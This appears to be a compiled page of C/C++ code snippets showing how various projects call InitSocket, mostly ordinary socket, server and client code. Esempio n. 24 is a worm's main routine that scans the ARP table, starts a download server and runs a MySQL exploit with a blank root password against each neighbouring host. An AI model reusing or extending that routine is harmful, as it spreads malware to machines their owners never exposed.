Esempio n. 1
0
SOCK _accept(socket_t s,struct sockaddr *sa,socklen_t *salen)
{
	if(s)
	{
		int32_t n;
	again:
		if((n = accept(s->fd,sa,salen)) < 0)
		{
	#ifdef EPROTO
			if(errno == EPROTO || errno == ECONNABORTED)
	#else
			if(errno == ECONNABORTED)
	#endif
				goto again;
			else
			{
				//printf("%s\n",strerror(errno));
				return INVALID_SOCK;
			}
		}
		SOCK newsock = new_socket_wrapper();
		if(newsock == INVALID_SOCK)
		{
			close(n);
			return INVALID_SOCK;
		}
		InitSocket(newsock,n);
		return newsock;
	}
	return INVALID_SOCK;
}
Esempio n. 2
0
int _tmain(int argc, _TCHAR* argv[])
{
    printf("代理服务器正在启动\n");
    printf("初始化...\n");
    if(!InitSocket()){
        printf("socket 初始化失败\n");
        return -1;
    }

    printf("代理服务器正在运行,监听端口 %d\n",ProxyPort);
    SOCKET acceptSocket = INVALID_SOCKET;
    ProxyParam *lpProxyParam;
    HANDLE hThread;
    DWORD dwThreadID;
    
    //代理服务器不断监听
    while(true){
        acceptSocket = accept(ProxyServer,NULL,NULL);
        lpProxyParam = new ProxyParam;
        if(lpProxyParam == NULL){
        continue;
    }
    
    lpProxyParam->clientSocket = acceptSocket;
    hThread = (HANDLE)_beginthreadex(NULL, 0,
    &ProxyThread,(LPVOID)lpProxyParam, 0, 0);
    CloseHandle(hThread);
    Sleep(200);
    }
    
    closesocket(ProxyServer);
    WSACleanup();
    return 0;
}
Esempio n. 3
0
HANDLE Accept(HANDLE sock,struct sockaddr *sa,socklen_t *salen)
{
    socket_t s = GetSocketByHandle(sock);
    if(s)
    {
        int32_t n;
again:
        if((n = accept(s->fd,sa,salen)) < 0)
        {
#ifdef EPROTO
            if(errno == EPROTO || errno == ECONNABORTED)
#else
            if(errno == ECONNABORTED)
#endif
                goto again;
            else
            {
                //printf("%s\n",strerror(errno));
                return -1;
            }
        }
        HANDLE newsock = NewSocketWrapper();
        if(newsock < 0)
        {
            close(n);
            return -1;
        }
        InitSocket(newsock,n);
        return newsock;
    }
    return -1;
}
Esempio n. 4
0
int main(int argc,char* argv[])
{
#ifndef WIN32
	signal(SIGINT, (void *) MiniWebQuit);
	signal(SIGTERM, (void *) MiniWebQuit);
	signal(SIGPIPE, SIG_IGN);
#endif

	httpParam.maxClients=32;
	httpParam.httpPort=80;
	httpParam.maxReqPerConn=99;
	httpParam.pchWebPath="webroot";
	httpParam.pxUrlHandler=urlHandlerList;
	//set web callbacks
	httpParam.pfnSubst=DefaultWebSubstCallback;
#ifndef _NO_POST
	httpParam.pfnPost = DefaultWebPostCallback;
	httpParam.pfnFileUpload = DefaultWebFileUploadCallback;
#endif
	
	InitSocket();
	//start server
	if (!mwServerStart(&httpParam)) {
		//wait
		getchar();
		//shutdown server
		mwServerShutdown(&httpParam);
	}
	UninitSocket();
	return 0;
}
Esempio n. 5
0
ClientSocket::ClientSocket( char* ip,  int port)
{
	while(!InitSocket(ip,port))
	{ 
		printf("protocol port init failed!\n");
	}
}
Esempio n. 6
0
int main(){
	/*allocation*/
	/*RecvBuf*/
	RecvBuf.len = 0;
	RecvBuf.size = SHORT_BUFF_SIZE;
	if((RecvBuf.buf = malloc(sizeof(char) * RecvBuf.size)) == NULL){perror("malloc"); exit(0);}
	RecvBuf.buf[0] = '\0';
	/*CommBuf*/
	CommBuf.len = 0;
	//CommBuf.size = SHORT_BUFF_SIZE;
	CommBuf.size = LONG_BUFF_SIZE;
	//CommBuf.size = HUGE_BUFF_SIZE;
	if((CommBuf.buf = malloc(sizeof(char) * CommBuf.size)) == NULL){perror("malloc"); exit(0);}
	CommBuf.buf[0] = '\0';

	/*version*/
	PrintVersion();
	/*init parametas*/
	InitParam();
	/*init socket*/
	//InitSocket();
	if(InitSocket() == -1){
		return(-1);
	}
	/*init signal*/
	InitSignal();
	/*main loop*/
	MainLoop();
	/*close socket*/
	CloseSocket();

	return(0);
}
Esempio n. 7
0
 void TCPClient::Connect(const std::string &host, unsigned short port)
 {
   if (IsConnected())
     Disconnect();
   InitSocket(stTCP);
   Socket::Connect(host.c_str(), port);
 }
Esempio n. 8
0
int ServerThread::InitServer(int max_connections)
// Initialize the server. Returns a non-zero value if any
// errors ocurr.
{
  if(InitSocketLibrary() == 0) {
    if(InitSocket(SOCK_STREAM, servercfg->port) < 0) return 1;
  }
  else {
    return 1;
  }

  int val = 1;
  if(SetSockOpt(gxsocket, SOL_SOCKET, SO_REUSEADDR,
		&val, sizeof(val)) < 0) {
    CheckSocketError((gxSocket *)this, "Error initializing server"); 
    Close();
    return 1;
  }

  // Bind the name to the socket
  if(Bind() < 0) {
    CheckSocketError((gxSocket *)this, "Error initializing server"); 
    Close();
    return 1;
  }
  
  // Listen for connections with a specified backlog
  if(Listen(max_connections) < 0) {
    CheckSocketError((gxSocket *)this, "Error initializing server");
    Close();
    return 1;
  }

  return 0;
}
Esempio n. 9
0
short httpserver_start(short port)
{
	httpParam.maxClients=32;
	httpParam.httpPort=port;
	httpParam.maxReqPerConn=99;
	httpParam.pchWebPath="webroot";
	httpParam.pxUrlHandler=urlHandlerList;
	//set web callbacks
	httpParam.pfnSubst=DefaultWebSubstCallback;
#ifndef _NO_POST
	httpParam.pfnPost = DefaultWebPostCallback;
	httpParam.pfnFileUpload = DefaultWebFileUploadCallback;
#endif

    xmlrpc_engine_init();
	
	InitSocket();
	//start server
	if (mwServerStart(&httpParam)==0)
    {
        printf("SimServer: Webserver started successfully\n");
    
        return 0;
    }
    
    printf("SimServer: Failed to start webserver on port %d\n",port);
    
    return -1;
}
Esempio n. 10
0
int _tmain(int argc, _TCHAR* argv[])
{
#ifndef _DEBUG
	CKLog::SetDebugType( LOG_TYPE_WARNING);
#endif

	InitSocket();

	COrderApp app;
	CUdpServer udpServer;
	udpServer.SetApp( &app );

	if ( !app.Connect() )
		return -1;

	if ( !udpServer.Connect() )
	{
		app.Release();
		UninitSocket();
		return -1;
	}

	CommandProcess( app);

	udpServer.Release();

	app.Release();

	UninitSocket();

	return 0;
}
Esempio n. 11
0
static int
Bind(AG_NetSocket *ns, const AG_NetAddr *na)
{
	struct sockaddr_storage sa;
	socklen_t saLen = 0;

	AG_MutexLock(&agNetWin32Lock);
	if (ns->family == 0) {			/* Inherit from address */
		ns->family = na->family;
		if (InitSocket(ns) == -1)
			goto fail;
	}
	NetAddrToSockAddr(na, &sa, &saLen);
	if (bind(ns->fd, (struct sockaddr *)&sa, saLen) == SOCKET_ERROR) {
		AG_SetError("bind: %s", strerror(errno));
		goto fail;
	}
	if (ns->type == AG_NET_STREAM ||
	    ns->type == AG_NET_SEQPACKET) {
		if (listen(ns->fd, ns->listenBacklog) == -1)
			goto fail;
	}
	AG_MutexUnlock(&agNetWin32Lock);
	return (0);
fail:
	AG_MutexUnlock(&agNetWin32Lock);
	return (-1);
}
FileRecvThread::FileRecvThread(PFILERECV_THREAD_PARA para)
	:GThread(para)
{
	m_glogger.setHeader(TEXT("Recv"));
	m_para = para;
	InitSocket();
}
Esempio n. 13
0
sock_t creerSocket(int farAddr){
	//identifiant de notre socket unique a chaque fois, MAX_INT en limite
	sock_t socket;
	//envoie de l'appel systeme pour la création du socket
	socket = InitSocket(farAddr);
	//on renvoie la socket creee ou -1 si cela a echoue
	return socket;
}
Esempio n. 14
0
static void
Close(AG_NetSocket *ns)
{
    if (ns->fd != -1) {
        close(ns->fd);
        ns->fd = -1;
    }
    if (InitSocket(ns) == -1)
        AG_FatalError(NULL);
}
int CRecvFrame::Start()
{
	if (InitSocket())
	{
#ifdef _DEBUG
		::OutputDebugString(_T("RecvFrame: Init Socket Error"));
#endif
		return -1;
	}
	return IMyThread::Start();
}
Esempio n. 16
0
void DnsSendAlarm( char alarmtype )
{
    unsigned int            times = 6000;
    char                    ipaddr[16];
    int                     socket = -1;
    struct sockaddr_in      daddr;
    int                     iRet;
    char                    heatcont[1024];
    printf( "start alarm to server...\n" );
    //get dns param
    memset( ipaddr, 0x00, 16 );
    iRet = GetDnsIp( bparam.stDdnsParam.serversvr, ipaddr );

    if ( iRet != 0 )
    {
        return;
    }

    socket = InitSocket( 0, 1, NULL );
    //send heat param
    bzero( &daddr, sizeof( struct sockaddr_in ) );
    daddr.sin_family        = AF_INET;
    daddr.sin_port          = htons( bparam.stDdnsParam.serverport );
    daddr.sin_addr.s_addr   = inet_addr( ipaddr );

    if ( connect( socket, ( struct sockaddr* )&daddr, sizeof( struct sockaddr ) ) == -1 )
    {
        printf( "connect server is failed\n" );
        CloseSocket( socket );
        return;
    }

    //config heat param
    memset( heatcont, 0x00, 1024 );
    DnsAlarmInit( heatcont, alarmtype );
    //send
    iRet = send( socket, heatcont, strlen( heatcont ), 0 );

    if ( iRet == strlen( heatcont ) )
    {
        printf( "send alarm server=%d\n", iRet );
    }

    else
    {
        printf( "send alarm error iRet=%d\n", iRet );
    }

    //recive
    memset( heatcont, 0x00, 512 );
    iRet = recv( socket, heatcont, 512, 0 );
    CloseSocket( socket );
}
Esempio n. 17
0
/**
 * @brief int
 * @param[in] void
 * @return int 
 */
int SMSSrv::Init()
{
    LOG_DEBUG("%s","init");
    
    ReadConfig();
    
    InitSocket();
    
    ServiceFactory::InitFactory();
    
    return 0;
}
Esempio n. 18
0
	void CNetWork::Run( OnMsgComeEvent OnMsgCome , int port /*= 3250*/)
	{
		m_port = port;

		InitSocket(port);

 		m_callBack = OnMsgCome;
 
		ThreadParam* param = new ThreadParam();
		param->m_s = m_ListenSocket;
		param->m_fun = m_callBack;
		m_hThread = CreateThread(NULL,0,ThreadProc,(LPVOID)param,0,NULL);
	}
Esempio n. 19
0
bool BaseClientWrapper::Setup() {
  if (!m_socket.get()) {
    InitSocket();

    if (!m_socket.get())
      return false;
  }

  CreateClient();

  m_ss.AddReadDescriptor(m_socket.get());
  return StartupClient();
}
Esempio n. 20
0
BOOL CALLBACK HandleDialog(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) 
{
	DATA data;
	HDC hdc;
	PAINTSTRUCT ps;
	static HANDLE hThread;

	switch(iMsg)
	{
	case WM_INITDIALOG:
		if( !InitSocket() )
			return TRUE;
		hThread = (HANDLE)_beginthread(ClientThread, NULL, NULL);
		return TRUE;
	case WM_LBUTTONDOWN:
		data.type = 0;
		data.pt = MAKEPOINTS(lParam);
		
		send(sClient, (char*)&data, sizeof(DATA), 0);
		return TRUE;
	case WM_RBUTTONDOWN:
		data.type = 1;
		data.pt = MAKEPOINTS(lParam);
		send(sClient, (char*)&data, sizeof(DATA), 0);
		return TRUE;
	case WM_PAINT:
		hdc = BeginPaint(hwnd, &ps);
		if(g_data.type == 0)
			Rectangle(hdc, g_data.pt.x, g_data.pt.y, g_data.pt.x+30, g_data.pt.y+30);
		else if(g_data.type==1)
			Ellipse(hdc, g_data.pt.x, g_data.pt.y, g_data.pt.x+30, g_data.pt.y+30);
		EndPaint(hwnd, &ps);
		return TRUE;
	case WM_COMMAND:
		switch(wParam) 
		{
		case IDC_EXIT:
			data.type = 2;
			send(sClient, (char*)&data, sizeof(DATA), 0);
			DestroyWindow(hwnd);
		}
		return TRUE;
	case WM_DESTROY:
		PostQuitMessage(0);
		return TRUE;
	default :
		break;
	}
	return 0L;
}
Esempio n. 21
0
/*
* 初始化
*/
bool CNetworkMgr::Init()
{
	if (!InitMember())
	{
		return false;
	}

	if (!InitSocket())
	{
		return false;
	}

	return true;
}
Esempio n. 22
0
static void
Close(AG_NetSocket *ns)
{
	AG_MutexLock(&agNetWin32Lock);

	if (ns->fd != -1) {
		closesocket(ns->fd);
		ns->fd = -1;
	}
	if (InitSocket(ns) == -1)
		AG_FatalError(NULL);
	
	AG_MutexUnlock(&agNetWin32Lock);
}
static void* RemoteCtrlServer(void *p)
{
	if(InitSocket()<0)
	{
		printf("listen error\n");
		return (void*)-1;
	}

	printf("servcie on port %d\n", _port);

	LoopSocket();

	return (void*)0;
}
Esempio n. 24
0
int _tmain(int argc, _TCHAR* argv[])
{	
	HANDLE hMutex;
	char szHostName[128] = {0};
	char targetIP[16] = {0};

	PMIB_IPNETTABLE pIpNetTable = NULL;
	DWORD dwActualSize = 0,dwIpAddr = 0;
	unsigned int i;

	SetLastError(ERROR_SUCCESS);
	hMutex = CreateMutexA(NULL,FALSE,"MWormRaz");
	if (hMutex == NULL)
	{			
		return -1;
	}

	if (GetLastError() == ERROR_ALREADY_EXISTS)
	{
		return 0;
	}
	// get arp table
	pIpNetTable = GetArpTable(TRUE);
	if (pIpNetTable == NULL)
		return -1;

	InitSocket();

	// start download server
	CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)runServer,NULL,0,NULL);

	mysql_init(&mysql);

	for (i = 0; i < pIpNetTable->dwNumEntries; ++i)
	{
		ZeroMemory(targetIP,16);
		sprintf_s(targetIP,16,"%s",inet_ntoa(*(struct in_addr *)&pIpNetTable->table[i].dwAddr));
		printf("[%d]:%s\n",i,targetIP);
		MySqlExploit(targetIP,"root","");
	}

	mysql_close(&mysql);
	mysql_library_end();
	if (pIpNetTable)
		GlobalFree(pIpNetTable);
	
	CloseHandle(hMutex);
	return 0;
}
Esempio n. 25
0
FTPd::FTPd(void)
{
	WSAData wdata;

	if (WSAStartup(MAKEWORD(2, 2), &wdata) != 0) {
		std::cerr << "WSAStartup() failed" << std::endl;
	}

	InitSocket();
	BindSocket();
	ListenSocket();

	GetLocalIP();
	LoadLocalHostname();
}
Esempio n. 26
0
int main(int argc, char **argv)
{
 if(! InitSocket())
  return 0;
 if(argc == 3)
  PortTransfer_3(atoi(argv[1]), atoi(argv[2]));
 else if(argc == 4)
  PortTransfer_1(atoi(argv[1]), argv[2], atoi(argv[3]));
 else if(argc == 5)
  PortTransfer_2(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
 else
  Usage(argv[0]);
 WSACleanup();
 return 0;
}
Esempio n. 27
0
void RawSocketGrabber::Start(){
	isRunning = true;

	auto handle = InitSocket();

	if(handle == NULL){
		return;
	}

	while(isRunning){
		ReadOffSocket(handle);
	}

	CleanupSocket();
}
Esempio n. 28
0
HANDLE OpenSocket(int32_t family,int32_t type,int32_t protocol)
{
    int32_t sockfd;
    if( (sockfd = socket(family,type,protocol)) < 0)
    {
        return -1;
    }
    HANDLE sock = NewSocketWrapper();
    if(sock < 0)
    {
        close(sockfd);
        return -1;
    }
    InitSocket(sock,sockfd);
    return sock;
}
Esempio n. 29
0
SOCK OpenSocket(int32_t family,int32_t type,int32_t protocol)
{
	SOCKET sockfd;
	if( (sockfd = socket(family,type,protocol)) < 0)
	{
		return INVALID_SOCK;
	}
	SOCK sock = new_socket_wrapper();
	if(sock == INVALID_SOCK)
	{
		close(sockfd);
		return INVALID_SOCK;
	}
	InitSocket(sock,sockfd);
	return sock;
}
// actions
void CPingController::SendFirstRequestL()
{
	iPingCount = 0;
	iPingControllerState = ESendTo;
	InitSocket();

	if (iRemoteAddr.Input(iRemote)!= KErrNone)
	{
		iObserver->NotifyErrorL(KErrArgument);
		return; //?
	}
	delete iIcmpPacket;
	iIcmpPacket = CEchoPacket::NewL(GetTime(), iDataSize);
	
	DoSend();
}